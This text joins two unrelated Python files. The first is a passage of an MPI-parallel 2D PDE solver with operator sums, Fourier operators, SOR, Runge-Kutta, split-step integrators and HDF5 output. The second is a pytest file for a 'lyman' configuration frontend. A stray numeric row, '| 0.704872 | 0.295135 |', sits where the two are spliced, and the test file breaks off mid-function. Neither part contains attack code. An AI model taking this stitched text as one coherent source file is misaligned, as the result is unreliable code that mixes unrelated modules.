GRAD2Y = 3
class OperatorSum(dict):
"""Class for representing a weighted sum of operators. Supports
arithemetic operations, and coefficients can be numpy arrays for spatially
varying coefficients."""
# Tells numpy arrays to not try to use their arithmetic operations
# elementwise on us, instead they should defer to this class's arithmetic
# methods:
__array_priority__ = 1.0
def __add__(self, other):
new = OperatorSum(self)
for obj, coefficient in other.items():
new[obj] = new.get(obj, 0) + coefficient
return new
def __sub__(self, other):
new = OperatorSum(self)
for obj, coefficient in other.items():
new[obj] = new.get(obj, 0) - coefficient
return new
def __mul__(self, factor):
new = OperatorSum(self)
for obj, coefficient in new.items():
new[obj] = coefficient*factor
return new
def __div__(self, factor):
new = OperatorSum(self)
for obj, coefficient in new.items():
new[obj] = coefficient/factor
return new
__radd__ = __add__
__rsub__ = __sub__
__rmul__ = __mul__
__rdiv__ = __div__
# Objects representing operators, which can be added, subtracted etc from each
# other and multiplied by constants:
GRADX = OperatorSum({Operators.GRADX: np.ones((1, 1))})
GRADY = OperatorSum({Operators.GRADY: np.ones((1, 1))})
GRAD2X = OperatorSum({Operators.GRAD2X: np.ones((1, 1))})
GRAD2Y = OperatorSum({Operators.GRAD2Y: np.ones((1, 1))})
LAPLACIAN = GRAD2X + GRAD2Y
def get_factors(n):
"""return all the factors of n"""
factors = set()
for i in range(1, int(n**(0.5)) + 1):
if not n % i:
factors.update((i, n // i))
return factors
def get_best_2D_segmentation(size_x, size_y, N_segments):
"""Returns (best_n_segments_x, best_n_segments_y), describing the optimal
cartesian grid for splitting up a rectangle of size (size_x, size_y) into
N_segments equal sized segments such as to minimise surface area between
the segments."""
lowest_surface_area = None
for n_segments_x in get_factors(N_segments):
n_segments_y = N_segments // n_segments_x
surface_area = n_segments_x * size_y + n_segments_y * size_x
if lowest_surface_area is None or surface_area < lowest_surface_area:
lowest_surface_area = surface_area
best_n_segments_x, best_n_segments_y = n_segments_x, n_segments_y
return best_n_segments_x, best_n_segments_y
class Simulator2D(object):
def __init__(self, x_min_global, x_max_global, y_min_global, y_max_global, nx_global, ny_global,
periodic_x=False, periodic_y=False, operator_order=4):
"""A class for solving partial differential equations in two dimensions on
multiple cores using MPI"""
self.x_min_global = x_min_global
self.x_max_global = x_max_global
self.y_min_global = y_min_global
self.y_max_global = y_max_global
self.nx_global = nx_global
self.ny_global = ny_global
self.periodic_x = periodic_x
self.periodic_y = periodic_y
self.operator_order = operator_order
self.n_edge_pts = self.operator_order // 2
if not self.operator_order in [2, 4, 6]:
msg = "Only differential operators of order 2, 4, 6 supported."
raise ValueError(msg)
self.global_shape = (self.nx_global, self.ny_global)
self._setup_MPI_grid()
self.shape = (self.nx, self.ny)
self.dx = (self.x_max_global - self.x_min_global)/(self.nx_global - 1)
self.dy = (self.y_max_global - self.y_min_global)/(self.ny_global - 1)
self.x_min = self.x_min_global + self.dx * self.global_first_x_index
self.y_min = self.y_min_global + self.dy * self.global_first_y_index
self.x_max = self.x_min + self.dx * (self.nx - 1)
self.y_max = self.y_min + self.dy * (self.ny - 1)
self.x = np.linspace(self.x_min, self.x_max, self.nx).reshape((self.nx, 1))
self.y = np.linspace(self.y_min, self.y_max, self.ny).reshape((1, self.ny))
self.kx = self.ky = self.f_gradx = self.f_grady = self.f_grad2x = self.f_grad2y = self.f_laplacian = None
if self.MPI_size_x == 1:
# For FFTs, which can be done only on a single node in periodic directions:
if periodic_x:
self.kx = 2 * np.pi * np.fft.fftfreq(self.nx, d=self.dx).reshape((self.nx, 1))
# x derivative operator in Fourier space:
self.f_gradx = 1j*self.kx
self.f_grad2x = -self.kx**2
if periodic_y:
self.ky = 2 * np.pi * np.fft.fftfreq(self.ny, d=self.dy).reshape((1, self.ny))
# y derivative operator in Fourier space:
self.f_grady = 1j*self.ky
self.f_grad2y = -self.ky**2
if periodic_x and periodic_y:
# Laplace operator in Fourier space:
self.f_laplacian = self.f_grad2x + self.f_grad2y
def _setup_MPI_grid(self):
"""Split space up according to the number of MPI tasks. Set instance
attributes for spatial extent and number of points in this MPI task,
and create buffers and persistent communication requests for sending
data to adjacent processes"""
self.MPI_size = MPI.COMM_WORLD.Get_size()
self.MPI_size_x, self.MPI_size_y = get_best_2D_segmentation(self.nx_global, self.ny_global, self.MPI_size)
self.MPI_comm = MPI.COMM_WORLD.Create_cart([self.MPI_size_x, self.MPI_size_y],
periods=[self.periodic_x, self.periodic_y], reorder=True)
self.MPI_rank = self.MPI_comm.Get_rank()
self.MPI_x_coord, self.MPI_y_coord = self.MPI_comm.Get_coords(self.MPI_rank)
if self.MPI_x_coord > 0 or self.periodic_x:
self.MPI_rank_left = self.MPI_comm.Get_cart_rank((self.MPI_x_coord - 1, self.MPI_y_coord))
else:
self.MPI_rank_left = MPI.PROC_NULL
if self.MPI_x_coord < self.MPI_size_x -1 or self.periodic_x:
self.MPI_rank_right = self.MPI_comm.Get_cart_rank((self.MPI_x_coord + 1, self.MPI_y_coord))
else:
self.MPI_rank_right = MPI.PROC_NULL
if self.MPI_y_coord > 0 or self.periodic_y:
self.MPI_rank_down = self.MPI_comm.Get_cart_rank((self.MPI_x_coord, self.MPI_y_coord - 1))
else:
self.MPI_rank_down = MPI.PROC_NULL
if self.MPI_y_coord < self.MPI_size_y -1 or self.periodic_y:
self.MPI_rank_up = self.MPI_comm.Get_cart_rank((self.MPI_x_coord, self.MPI_y_coord + 1))
else:
self.MPI_rank_up = MPI.PROC_NULL
self.processor_name = MPI.Get_processor_name()
# Share out the points between processes in each direction:
self.nx, nx_remaining = divmod(self.nx_global, self.MPI_size_x)
if self.MPI_x_coord < nx_remaining:
# Give the remaining to the lowest ranked processes:
self.nx += 1
self.ny, ny_remaining = divmod(self.ny_global, self.MPI_size_y)
if self.MPI_y_coord < ny_remaining:
# Give the remaining to the lowest ranked processes:
self.ny += 1
# What are our coordinates in the global array?
self.global_first_x_index = self.nx * self.MPI_x_coord
# Be sure to count the extra points the lower ranked processes have:
if self.MPI_x_coord >= nx_remaining:
self.global_first_x_index += nx_remaining
self.global_first_y_index = self.ny * self.MPI_y_coord
# Be sure to count the extra points the lower ranked processes have:
if self.MPI_y_coord >= ny_remaining:
self.global_first_y_index += ny_remaining
# We need to tag our data to have a way other than rank to distinguish
# between multiple messages the two tasks might be sending each other
# at the same time:
TAG_LEFT_TO_RIGHT = 0
TAG_RIGHT_TO_LEFT = 1
TAG_DOWN_TO_UP = 2
TAG_UP_TO_DOWN = 3
# Buffers and MPI request objects for sending and receiving data to
# and from other processes. Sorted by whether the datatype is real or
# complex.
self.MPI_send_buffers = {}
self.MPI_receive_buffers = {}
self.MPI_requests = {}
for dtype in [np.float64, np.complex128]:
x_edge_shape = (self.n_edge_pts, self.ny)
y_edge_shape = (self.nx, self.n_edge_pts)
left_send_buffer = np.zeros(x_edge_shape, dtype=dtype)
left_receive_buffer = np.zeros(x_edge_shape, dtype=dtype)
right_send_buffer = np.zeros(x_edge_shape, dtype=dtype)
right_receive_buffer = np.zeros(x_edge_shape, dtype=dtype)
bottom_send_buffer = np.zeros(y_edge_shape, dtype=dtype)
bottom_receive_buffer = np.zeros(y_edge_shape, dtype=dtype)
top_send_buffer = np.zeros(y_edge_shape, dtype=dtype)
top_receive_buffer = np.zeros(y_edge_shape, dtype=dtype)
send_left = self.MPI_comm.Send_init(left_send_buffer, self.MPI_rank_left, tag=TAG_RIGHT_TO_LEFT)
send_right = self.MPI_comm.Send_init(right_send_buffer, self.MPI_rank_right, tag=TAG_LEFT_TO_RIGHT)
send_bottom = self.MPI_comm.Send_init(bottom_send_buffer, self.MPI_rank_down, tag=TAG_UP_TO_DOWN)
send_top = self.MPI_comm.Send_init(top_send_buffer, self.MPI_rank_up, tag=TAG_DOWN_TO_UP)
receive_left = self.MPI_comm.Recv_init(left_receive_buffer, self.MPI_rank_left, tag=TAG_LEFT_TO_RIGHT)
receive_right = self.MPI_comm.Recv_init(right_receive_buffer, self.MPI_rank_right, tag=TAG_RIGHT_TO_LEFT)
receive_bottom = self.MPI_comm.Recv_init(bottom_receive_buffer, self.MPI_rank_down, tag=TAG_DOWN_TO_UP)
receive_top = self.MPI_comm.Recv_init(top_receive_buffer, self.MPI_rank_up, tag=TAG_UP_TO_DOWN)
self.MPI_send_buffers[dtype] = (left_send_buffer, right_send_buffer, bottom_send_buffer, top_send_buffer)
self.MPI_receive_buffers[dtype] = (left_receive_buffer, right_receive_buffer,
bottom_receive_buffer, top_receive_buffer)
self.MPI_requests[dtype] = (send_left, send_right, send_bottom, send_top,
receive_left, receive_right, receive_bottom, receive_top)
self.pending_requests = None
def MPI_send_at_edges(self, psi):
"""Start an asynchronous MPI send data from the edges of psi to all
adjacent MPI processes."""
left_buffer, right_buffer, bottom_buffer, top_buffer = self.MPI_send_buffers[psi.dtype.type]
left_buffer[:] = psi[:self.n_edge_pts, :]
right_buffer[:] = psi[-self.n_edge_pts:, :]
bottom_buffer[:] = psi[:, :self.n_edge_pts]
top_buffer[:] = psi[:, -self.n_edge_pts:]
self.pending_requests = self.MPI_requests[psi.dtype.type]
MPI.Prequest.Startall(self.pending_requests)
def MPI_receive_at_edges(self):
"""Finalise an asynchronous MPI transfer from all adjacent MPI
processes. Data remains in the receive buffers and can be accessed by
the caller after this method returns."""
MPI.Prequest.Waitall(self.pending_requests)
self.pending_requests = None
def par_sum(self, psi):
"""Sum the given field over all MPI processes"""
local_sum = np.asarray(psi.sum())
result = np.zeros_like(local_sum)
self.MPI_comm.Allreduce(local_sum, result, MPI.SUM)
return result
def par_vdot(self, psi1, psi2):
""""Dots two vectors (with complex comjucation of the first) and sums
result over MPI processes"""
local_dot = np.asarray(np.vdot(psi1, psi2))
result = np.zeros_like(local_dot)
self.MPI_comm.Allreduce(local_dot, result, MPI.SUM)
return result
def par_operator_init(self, operator, psi, out=None):
self.MPI_send_at_edges(psi)
gradx_coeff = operator.get(Operators.GRADX, None)
grady_coeff = operator.get(Operators.GRADY, None)
grad2x_coeff = operator.get(Operators.GRAD2X, None)
grad2y_coeff = operator.get(Operators.GRAD2Y, None)
return apply_operator(psi, gradx_coeff, grady_coeff, grad2x_coeff, grad2y_coeff,
self.dx, self.dy, self.operator_order, out=out,
left_buffer=None, right_buffer=None,
bottom_buffer=None, top_buffer=None, interior=True, edges=False)
def par_operator_finalise(self, operator, psi, out):
gradx_coeff = operator.get(Operators.GRADX, None)
grady_coeff = operator.get(Operators.GRADY, None)
grad2x_coeff = operator.get(Operators.GRAD2X, None)
grad2y_coeff = operator.get(Operators.GRAD2Y, None)
left_buffer, right_buffer, bottom_buffer, top_buffer = self.MPI_receive_buffers[psi.dtype.type]
self.MPI_receive_at_edges()
return apply_operator(psi, gradx_coeff, grady_coeff, grad2x_coeff, grad2y_coeff,
self.dx, self.dy, self.operator_order, out=out,
left_buffer=left_buffer, right_buffer=right_buffer,
bottom_buffer=bottom_buffer, top_buffer=top_buffer, interior=False, edges=True)
def par_operator(self, operator, psi, out=None, use_ffts=False):
if use_ffts:
if out is not None:
raise ValueError("out parameter not supported for fft operators")
return self.apply_fourier_operator(operator, psi)
out = self.par_operator_init(operator, psi, out)
return self.par_operator_finalise(operator, psi, out)
def make_fourier_operator(self, operator):
"""If the operator is diagonal in the Fourier basis, return its
fourier representation as an array."""
gradx_coeff = operator.get(Operators.GRADX, None)
grady_coeff = operator.get(Operators.GRADY, None)
grad2x_coeff = operator.get(Operators.GRAD2X, None)
grad2y_coeff = operator.get(Operators.GRAD2Y, None)
if self.MPI_size > 1 or not (self.periodic_x and self.periodic_y):
msg = "FFTs can only be done on a single process with periodic boundary conditions"
raise ValueError(msg)
if any(op.shape != (1, 1) for op in operator.values()):
msg = ("FFTs cannot be used to evaluate operators with spatially varying coefficients, " +
"as they are not diagonal in the Fourier basis.")
raise ValueError(msg)
# Compute the operator in Fourier space:
f_operator = 0
if gradx_coeff is not None:
f_operator = f_operator + gradx_coeff * self.f_gradx
if grady_coeff is not None:
f_operator = f_operator + grady_coeff * self.f_grady
if grad2x_coeff is not None:
f_operator = f_operator + grad2x_coeff * self.f_grad2x
if grad2y_coeff is not None:
f_operator = f_operator + grad2y_coeff * self.f_grad2y
return f_operator
def apply_fourier_operator(self, operator, psi):
"""Applies an operator in the Fourier basis. If operator provided is
an OperatorSum, it is converted to the Fourier basis. If operator is
an array, it is assumed to already be the representation of the
operator in the Fourier basis."""
if isinstance(operator, OperatorSum):
operator = self.make_fourier_operator(operator)
elif not isinstance(operator, np.ndarray):
raise TypeError(operator)
result = ifft2(operator*fft2(psi))
if psi.dtype == np.float64:
result = result.real
return result
def _pre_step_checks(self, i, t, psi, output_interval, output_callback, post_step_callback, infodict, final_call=False):
if np.isnan(psi).any() or np.isinf(psi).any():
sys.stdout.write('It exploded :(\n')
# Call output funcs so user can see exactly when things went pear shaped:
if post_step_callback is not None:
post_step_callback(i, t, psi, infodict)
if output_callback is not None and output_interval is not None:
output_callback(i, t, psi, infodict)
raise RuntimeError('It exploded :(')
if post_step_callback is not None:
post_step_callback(i, t, psi, infodict)
output_callback_called = False
if output_callback is not None and output_interval is not None:
if np.iterable(output_interval):
if i in output_interval:
output_callback(i, t, psi, infodict)
output_callback_called = True
elif not i % output_interval:
output_callback(i, t, psi, infodict)
output_callback_called = True
if final_call and not output_callback_called:
output_callback(i, t, psi, infodict)
def successive_overrelaxation(self, system, psi, boundary_mask=None, relaxation_parameter=1.7, convergence=1e-13,
output_interval=100, output_callback=None, post_step_callback=None,
convergence_check_interval=10):
"""Solve a system of equations A*psi=b using sucessive overrelaxation.
The provided function for the system of equations should accept psi
and return the diagonal part of A as an array, the non-diagonal part
of A as an OperatorSum instance, and b as an array. This function
requires an initial guess for psi, and optionally takes a boolean
array boundary_mask, which specifies which region is in-bounds for the
problem. Any points not selected by the mask will not be evolved, and
as such the initial-guess value of psi there serves as boundary conditions."""
i = 0
start_time = time.time()
convergence_calc = np.nan
if boundary_mask is not None:
boundary_mask = np.array(boundary_mask, dtype=np.uint8)
while True:
time_per_step = (time.time() - start_time)/i if i else np.nan
infodict = {"convergence": convergence_calc, 'time per step': time_per_step}
self._pre_step_checks(i, 0, psi, output_interval, output_callback, post_step_callback, infodict)
self.MPI_send_at_edges(psi)
A_diag, A_nondiag, b = system(psi)
if not i % convergence_check_interval:
# Only compute the error every convergence_check_interval steps to save time
compute_error=True
integral_b = self.par_vdot(b, b).real
else:
compute_error = False
gradx_coeff = A_nondiag.get(Operators.GRADX, None)
grady_coeff = A_nondiag.get(Operators.GRADY, None)
grad2x_coeff = A_nondiag.get(Operators.GRAD2X, None)
grad2y_coeff = A_nondiag.get(Operators.GRAD2Y, None)
squared_error = SOR_step(psi, A_diag, gradx_coeff, grady_coeff, grad2x_coeff, grad2y_coeff, b,
self.dx, self.dy, relaxation_parameter, self.operator_order,
interior=True, edges=False, boundary_mask=boundary_mask)
self.MPI_receive_at_edges()
left_buffer, right_buffer, bottom_buffer, top_buffer = self.MPI_receive_buffers[psi.dtype.type]
squared_error = SOR_step(psi, A_diag, gradx_coeff, grady_coeff, grad2x_coeff, grad2y_coeff, b,
self.dx, self.dy, relaxation_parameter, self.operator_order,
left_buffer, right_buffer, bottom_buffer, top_buffer,
squared_error=squared_error, interior=False, edges=True,
boundary_mask=boundary_mask)
if compute_error:
squared_error = np.asarray(squared_error).reshape(1)
total_squared_error = np.zeros(1)
self.MPI_comm.Allreduce(squared_error, total_squared_error, MPI.SUM)
convergence_calc = np.sqrt(total_squared_error[0]/integral_b)
if convergence_calc < convergence:
break
i += 1
time_per_step = (time.time() - start_time)/i if i else np.nan
infodict = {"convergence": convergence_calc, 'time per step': time_per_step}
self._pre_step_checks(i, 0, psi, output_interval, output_callback, post_step_callback, infodict, final_call=True)
def _evolve(self, dt, t_final, psi, integration_step_func,
output_interval, output_callback, post_step_callback, estimate_error, method_order):
"""common loop for time integration"""
t = 0
i = 0
step_error = 0
error_check_substep = None
start_time = time.time()
# The number of substeps we take depends on the order of the method.
# We do whatever we epxect to reduce the error by a factor of 16:
n_errcheck_substeps = int(np.ceil(16**(1.0/method_order)))
while t < t_final or error_check_substep is not None:
# The step before output is to occur, take n_errcheck_substeps
# steps of size dt/n_errcheck_substeps, then step over the same
# interval with a size of dt, and compare the solutions for an
# estimate of the per-step error.
if estimate_error and output_interval is not None:
if error_check_substep is None:
# Do we need to do an error checking step?
if np.iterable(output_interval):
if (i + 1) in output_interval:
error_check_substep = 0
elif not (i +1) % output_interval:
error_check_substep = 0
if error_check_substep == 0:
# Save the wavefunction and actual timestep before setting
# dt to one fifth its value:
psi_pre_errorcheck = psi.copy()
dt_unmodified = dt
dt = dt/n_errcheck_substeps
if error_check_substep == n_errcheck_substeps:
# Ok, we've done our five small steps. Save the resulting wavefunction:
psi_accurate = psi.copy()
# Restore the wavefunction and dt:
psi[:] = psi_pre_errorcheck
dt = dt_unmodified
if error_check_substep == n_errcheck_substeps + 1:
# Ok, we've completed the normal sized step. Compare wavefunctions:
sum_squared_error = self.par_sum(np.abs(psi - psi_accurate)**2)
psi_norm = self.par_vdot(psi_accurate, psi_accurate).real
step_error = np.sqrt(sum_squared_error/psi_norm)
# Finished checking error.
error_check_substep = None
# The missed increment of i from the normal sized
# timestep. This i should trigger output at the next call
# to _pre_step_checks:
i += 1
time_per_step = (time.time() - start_time)/i if i else np.nan
infodict = {'time per step': time_per_step, 'step error': step_error}
if error_check_substep is None:
self._pre_step_checks(i, t, psi, output_interval, output_callback, post_step_callback, infodict)
# The actual integration step:
integration_step_func(t, dt, psi)
t += dt
if error_check_substep is not None:
error_check_substep += 1
else:
i += 1
# Ensure we output at the end:
time_per_step = (time.time() - start_time)/i if i else np.nan
infodict = {'time per step': time_per_step, 'step error': step_error}
self._pre_step_checks(i, t, psi, output_interval, output_callback, post_step_callback, infodict, final_call=True)
def rk4(self, dt, t_final, dpsi_dt, psi,
output_interval=100, output_callback=None, post_step_callback=None, estimate_error=False):
"""Fourth order Runge-Kutta. dpsi_dt should return an array for the time derivatives of psi."""
def rk4_step(t, dt, psi):
k1 = dpsi_dt(t, psi)
k2 = dpsi_dt(t + 0.5*dt, psi + 0.5*k1*dt)
k3 = dpsi_dt(t + 0.5*dt, psi + 0.5*k2*dt)
k4 = dpsi_dt(t + dt, psi + k3*dt)
psi[:] += dt/6*(k1 + 2*k2 + 2*k3 + k4)
self._evolve(dt, t_final, psi, rk4_step,
output_interval, output_callback, post_step_callback, estimate_error, method_order=4)
def rk4ilip(self, dt, t_final, dpsi_dt, psi, omega_imag_provided=False,
output_interval=100, output_callback=None, post_step_callback=None, estimate_error=False):
"""Fourth order Runge-Kutta in an instantaneous local interaction picture.
dpsi_dt should return both the derivative of psi, and an array omega,
which is H_local/hbar at each point in space (Note that H_local should not
be excluded from the calculation of dpsi_dt). If omega is purely
imaginary, you can instead return the omega_imag comprising its imaginary
part, in which case you should set omega_imag_provided to True. This means
real arrays can be used for arithmetic instead of complex ones, which is
faster."""
def rk4ilip_step(t, dt, psi):
if omega_imag_provided:
# Omega is purely imaginary, and so omega_imag has been provided
# instead so real arithmetic can be used:
f1, omega_imag = dpsi_dt(t, psi)
i_omega = -omega_imag
# Have to take abs(dt) here in case we are taking a backward step (dt < 0):
i_omega_clipped = i_omega.clip(-400/abs(dt), 400/abs(dt))
U_half = np.exp(i_omega_clipped*0.5*dt)
else:
f1, omega = dpsi_dt(t, psi)
i_omega = 1j*omega
if omega.dtype == np.float64:
theta = omega*0.5*dt
U_half = np.cos(theta) + 1j*np.sin(theta) # faster than np.exp(1j*theta) when theta is real
else:
i_omega_clipped = i_omega.real.clip(-400/abs(dt), 400/abs(dt)) + 1j*i_omega.imag
U_half = np.exp(1j*i_omega_clipped*0.5*dt)
U_full = U_half**2
U_dagger_half = 1/U_half
U_dagger_full = 1/U_full
k1 = f1 + i_omega*psi
phi_1 = psi + 0.5*k1*dt
psi_1 = U_dagger_half*phi_1
f2, _ = dpsi_dt(t + 0.5*dt, psi_1)
k2 = U_half*f2 + i_omega*phi_1
phi_2 = psi + 0.5*k2*dt
psi_2 = U_dagger_half*phi_2
f3, _ = dpsi_dt(t + 0.5*dt, psi_2)
k3 = U_half*f3 + i_omega*phi_2
phi_3 = psi + k3*dt
psi_3 = U_dagger_full*phi_3
f4, _ = dpsi_dt(t + dt, psi_3)
k4 = U_full*f4 + i_omega*phi_3
phi_4 = psi + dt/6*(k1 + 2*k2 + 2*k3 + k4)
psi[:] = U_dagger_full*phi_4
self._evolve(dt, t_final, psi, rk4ilip_step,
output_interval, output_callback, post_step_callback, estimate_error, method_order=4)
def split_step(self, dt, t_final, nonlocal_operator, local_operator, psi,
output_interval=100, output_callback=None, post_step_callback=None,
estimate_error=False, method_order=2):
"""Split step method. Nonlocal_operator is an operator diagonal in
Fourier space. It can be either an OperatorSum instance if it is just
a sum of differential operators, or can be given as an array
representing the operator's diagonals in the Fourier basis."""
if isinstance(nonlocal_operator, OperatorSum):
fourier_operator = self.make_fourier_operator(nonlocal_operator)
elif isinstance(nonlocal_operator, np.ndarray):
fourier_operator = nonlocal_operator
else:
msg = "nonlocal_operator must be OperatorSum instance or array"
raise TypeError(msg)
# We cache these for different timestep sizes:
fourier_unitaries = {}
def U(dt, psi):
try:
unitary = fourier_unitaries[dt]
except KeyError:
unitary = np.exp(dt*fourier_operator)
fourier_unitaries[dt] = unitary
return self.apply_fourier_operator(unitary, psi)
# The same operator is used at the end of one step as at the beginning
# of the next (if they have the same dt), so we cache it:
cached_local_unitary = {0: (None, None, None)}
def split_step_2nd_order_step(t, dt, psi):
previous_t, previous_dt, previous_local_unitary = cached_local_unitary[0]
if previous_t == t and previous_dt == dt:
local_unitary = previous_local_unitary
else:
local_unitary = np.exp(0.5*dt*local_operator(t, psi))
# Real space half step:
psi[:] *= local_unitary
# Fourier space step:
psi[:] = U(dt, psi)
# Real space half step:
local_unitary = np.exp(0.5*dt*local_operator(t+dt, psi))
cached_local_unitary[0] = (t+dt, dt, local_unitary)
psi[:] *= local_unitary
def split_step_4nd_order_step(t, dt, psi):
p = 1/(4 - 4**(1.0/3.0))
for subdt in [p * dt, p * dt, (1 - 4*p) * dt, p * dt, p * dt]:
split_step_2nd_order_step(t, subdt, psi)
t += subdt
if method_order == 2:
step_func = split_step_2nd_order_step
elif method_order == 4:
step_func = split_step_4nd_order_step
else:
msg = "method_order must be 2 or 4, not %s" % str(method_order)
raise ValueError(msg)
self._evolve(dt, t_final, psi, step_func,
output_interval, output_callback, post_step_callback,
estimate_error, method_order=method_order)
def rk4ip(self, dt, t_final, nonlocal_operator, local_operator, psi,
output_interval=100, output_callback=None, post_step_callback=None, estimate_error=False):
"""Fourth order Runge-Kutta in the interaction picture. Uses an
interaction picture based on an operator diagonal in Fourier space,
which should be passed in as nonlocal_operator. It can be either an
OperatorSum instance if it is just a sum of differential operators, or
can be given as an array representing the operator's diagonals in the
Fourier basis. The rest of the equation is solved based on an operator
diagonal in real space, which the function local_operator should
return."""
if isinstance(nonlocal_operator, OperatorSum):
fourier_operator = self.make_fourier_operator(nonlocal_operator)
elif isinstance(nonlocal_operator, np.ndarray):
fourier_operator = nonlocal_operator
else:
msg = "nonlocal_operator must be OperatorSum instance or array"
raise TypeError(msg)
# We cache these for different timestep sizes:
fourier_unitaries = {}
def G(t, psi):
return local_operator(t, psi)*psi
def U(dt, psi):
try:
unitary = fourier_unitaries[dt]
except KeyError:
unitary = np.exp(0.5*dt*fourier_operator)
fourier_unitaries[dt] = unitary
return self.apply_fourier_operator(unitary, psi)
def rk4ip_step(t, dt, psi):
"""The propagator for one step of the RK4IP method"""
psi_I = U(dt, psi)
k1 = U(dt, G(t, psi))
k2 = G(t + 0.5*dt, psi_I + 0.5*dt*k1)
k3 = G(t + 0.5*dt, psi_I + 0.5*dt*k2)
k4 = G(t + dt, U(dt, psi_I + dt*k3))
psi[:] = U(dt, psi_I + dt/6. * (k1 + 2*k2 + 2*k3)) + dt/6.*k4
self._evolve(dt, t_final, psi, rk4ip_step,
output_interval, output_callback, post_step_callback, estimate_error, method_order=4)
class HDFOutput(object):
def __init__(self, simulator, output_dir, flush_output=True):
self.simulator = simulator
self.output_dir = output_dir
self.flush_output=flush_output
if not simulator.MPI_rank and not os.path.isdir(self.output_dir):
os.mkdir(self.output_dir)
self.basename = str(simulator.MPI_rank).zfill(len(str(simulator.MPI_size))) + '.h5'
self.filepath = os.path.join(self.output_dir, self.basename)
# Ensure output folder exists before other processes continue:
simulator.MPI_comm.Barrier()
self.file = h5py.File(self.filepath, 'w')
self.file.attrs['x_min_global'] = simulator.x_min_global
self.file.attrs['x_max_global'] = simulator.x_max_global
self.file.attrs['y_min_global'] = simulator.y_min_global
self.file.attrs['y_max_global'] = simulator.y_max_global
self.file.attrs['nx_global'] = simulator.nx_global
self.file.attrs['ny_global'] = simulator.ny_global
self.file.attrs['global_shape'] = simulator.global_shape
geometry_dtype = [('rank', int),
('processor_name', 'a256'),
('x_cart_coord', int),
('y_cart_coord', int),
('first_x_index', int),
('first_y_index', int),
('nx', int),
('ny', int)]
MPI_geometry_dset = self.file.create_dataset('MPI_geometry', shape=(1,), dtype=geometry_dtype)
MPI_geometry_dset.attrs['MPI_size'] = simulator.MPI_size
data = (simulator.MPI_rank, simulator.processor_name, simulator.MPI_x_coord, simulator.MPI_y_coord,
simulator.global_first_x_index, simulator.global_first_y_index, simulator.nx, simulator.ny)
MPI_geometry_dset[0] = data
def save(self, psi, output_log_data, flush=True):
if not 'psi' in self.file:
self.file.create_dataset('psi', (0,) + psi.shape[:-2] + self.simulator.shape,
maxshape=(None,) + psi.shape[:-2] + self.simulator.shape,
dtype=psi.dtype)
if not 'output_log' in self.file:
self.file.create_dataset('output_log', (0,), maxshape=(None,), dtype=output_log_data.dtype)
output_log_dataset = self.file['output_log']
output_log_dataset.resize((len(output_log_dataset) + 1,))
output_log_dataset[-1] = output_log_data
psi_dataset = self.file['psi']
psi_dataset.resize((len(psi_dataset) + 1,) + psi_dataset.shape[1:])
psi_dataset[-1] = psi
if self.flush_output:
self.file.flush()
@staticmethod
def iterframes(directory, start=0, end=None, step=1, frames=None):
with h5py.File(os.path.join(directory, '0.h5'), 'r') as master_file:
MPI_size = master_file['MPI_geometry'].attrs['MPI_size']
global_shape = master_file.attrs['global_shape']
psi_other_dims = master_file['psi'].shape[1:-2]
dtype = master_file['psi'].dtype
psi_global_shape = tuple(psi_other_dims) + tuple(global_shape)
if end is None:
end = len(master_file['psi'])
files = []
for rank in range(MPI_size):
basename = str(rank).zfill(len(str(MPI_size))) + '.h5'
f = h5py.File(os.path.join(directory, basename), 'r')
psi_dataset = f['psi']
start_x = f['MPI_geometry']['first_x_index'][0]
start_y = f['MPI_geometry']['first_y_index'][0]
nx = f['MPI_geometry']['nx'][0]
ny = f['MPI_geometry']['ny'][0]
files.append((f, psi_dataset, start_x, start_y, nx, ny))
for i in frames if frames is not None else range(start, end, step):
psi = np.zeros(psi_global_shape, dtype=dtype)
for f, psi_dataset, start_x, start_y, nx, ny in files:
psi[..., start_x:start_x + nx, start_y:start_y + ny] = psi_dataset[i]
yield i, psi | 0.704872 | 0.295135 |
import os
from textwrap import dedent
from nipype import Workflow, Node, Function
from traits.api import TraitError
import pytest
from .. import frontend
class TestFrontend(object):
@pytest.fixture
def lyman_dir(self, execdir):
lyman_dir = execdir.mkdir("lyman")
os.environ["LYMAN_DIR"] = str(lyman_dir)
scans = dedent("""
subj01:
sess01:
exp_alpha: [run01, run02]
sess02:
exp_alpha: [run01]
exp_beta: [run01, run02]
subj02:
sess01:
exp_beta: [run01, run03]
""")
project = dedent("""
data_dir = "../datums"
voxel_size = (2.5, 2.5, 2.5)
""")
experiment = dedent("""
tr = .72
smooth_fwhm = 2.5
""")
model = dedent("""
smooth_fwhm = 4
contrasts = [("a-b", ["a", "b"], [1, -1])]
""")
model_bad = dedent("""
contrasts = ["a-b", "b-a"]
""")
with open(lyman_dir.join("scans.yaml"), "w") as fid:
fid.write(scans)
with open(lyman_dir.join("project.py"), "w") as fid:
fid.write(project)
with open(lyman_dir.join("exp_alpha.py"), "w") as fid:
fid.write(experiment)
with open(lyman_dir.join("exp_alpha-model_a.py"), "w") as fid:
fid.write(model)
with open(lyman_dir.join("exp_alpha-model_b.py"), "w") as fid:
fid.write(model_bad)
yield lyman_dir
lyman_dir.remove()
def test_info(self, lyman_dir, execdir):
info = frontend.info()
assert info.data_dir == execdir.join("datums")
assert info.scan_info == {
"subj01": {"sess01": {"exp_alpha": ["run01", "run02"]},
"sess02": {"exp_alpha": ["run01"],
"exp_beta": ["run01", "run02"]}},
"subj02": {"sess01": {"exp_beta": ["run01", "run03"]}},
}
model_traits = frontend.ModelInfo().trait_get()
assert info.trait_get(*model_traits.keys()) == model_traits
info = frontend.info("exp_alpha")
assert info.tr == .72
assert info.smooth_fwhm == 2.5
info = frontend.info("exp_alpha", "model_a")
assert info.smooth_fwhm == 4
assert info.contrasts == [("a-b", ["a", "b"], [1, -1])]
with pytest.raises(TraitError):
frontend.info("exp_alpha", "model_b")
with pytest.raises(RuntimeError):
frontend.info(model="model_b")
lyman_dir_new = execdir.join("lyman2")
lyman_dir.move(lyman_dir_new)
info = frontend.info(lyman_dir=str(lyman_dir_new))
assert info.voxel_size == (2.5, 2.5, 2.5)
lyman_dir_new.move(execdir.join("lyman"))
del os.environ["LYMAN_DIR"]
info = frontend.info()
def test_subjects(self, lyman_dir, execdir):
subjects = frontend.subjects()
assert subjects == ["subj01", "subj02"]
subjects = frontend.subjects("subj01")
assert subjects == ["subj01"]
subjects = frontend.subjects(["subj01"])
assert subjects == ["subj01"]
subjects = frontend.subjects(["subj01", "subj02"])
assert subjects == ["subj01", "subj02"]
subj_file = lyman_dir.join("group_one.txt")
with open(subj_file, "w") as fid:
fid.write("subj01")
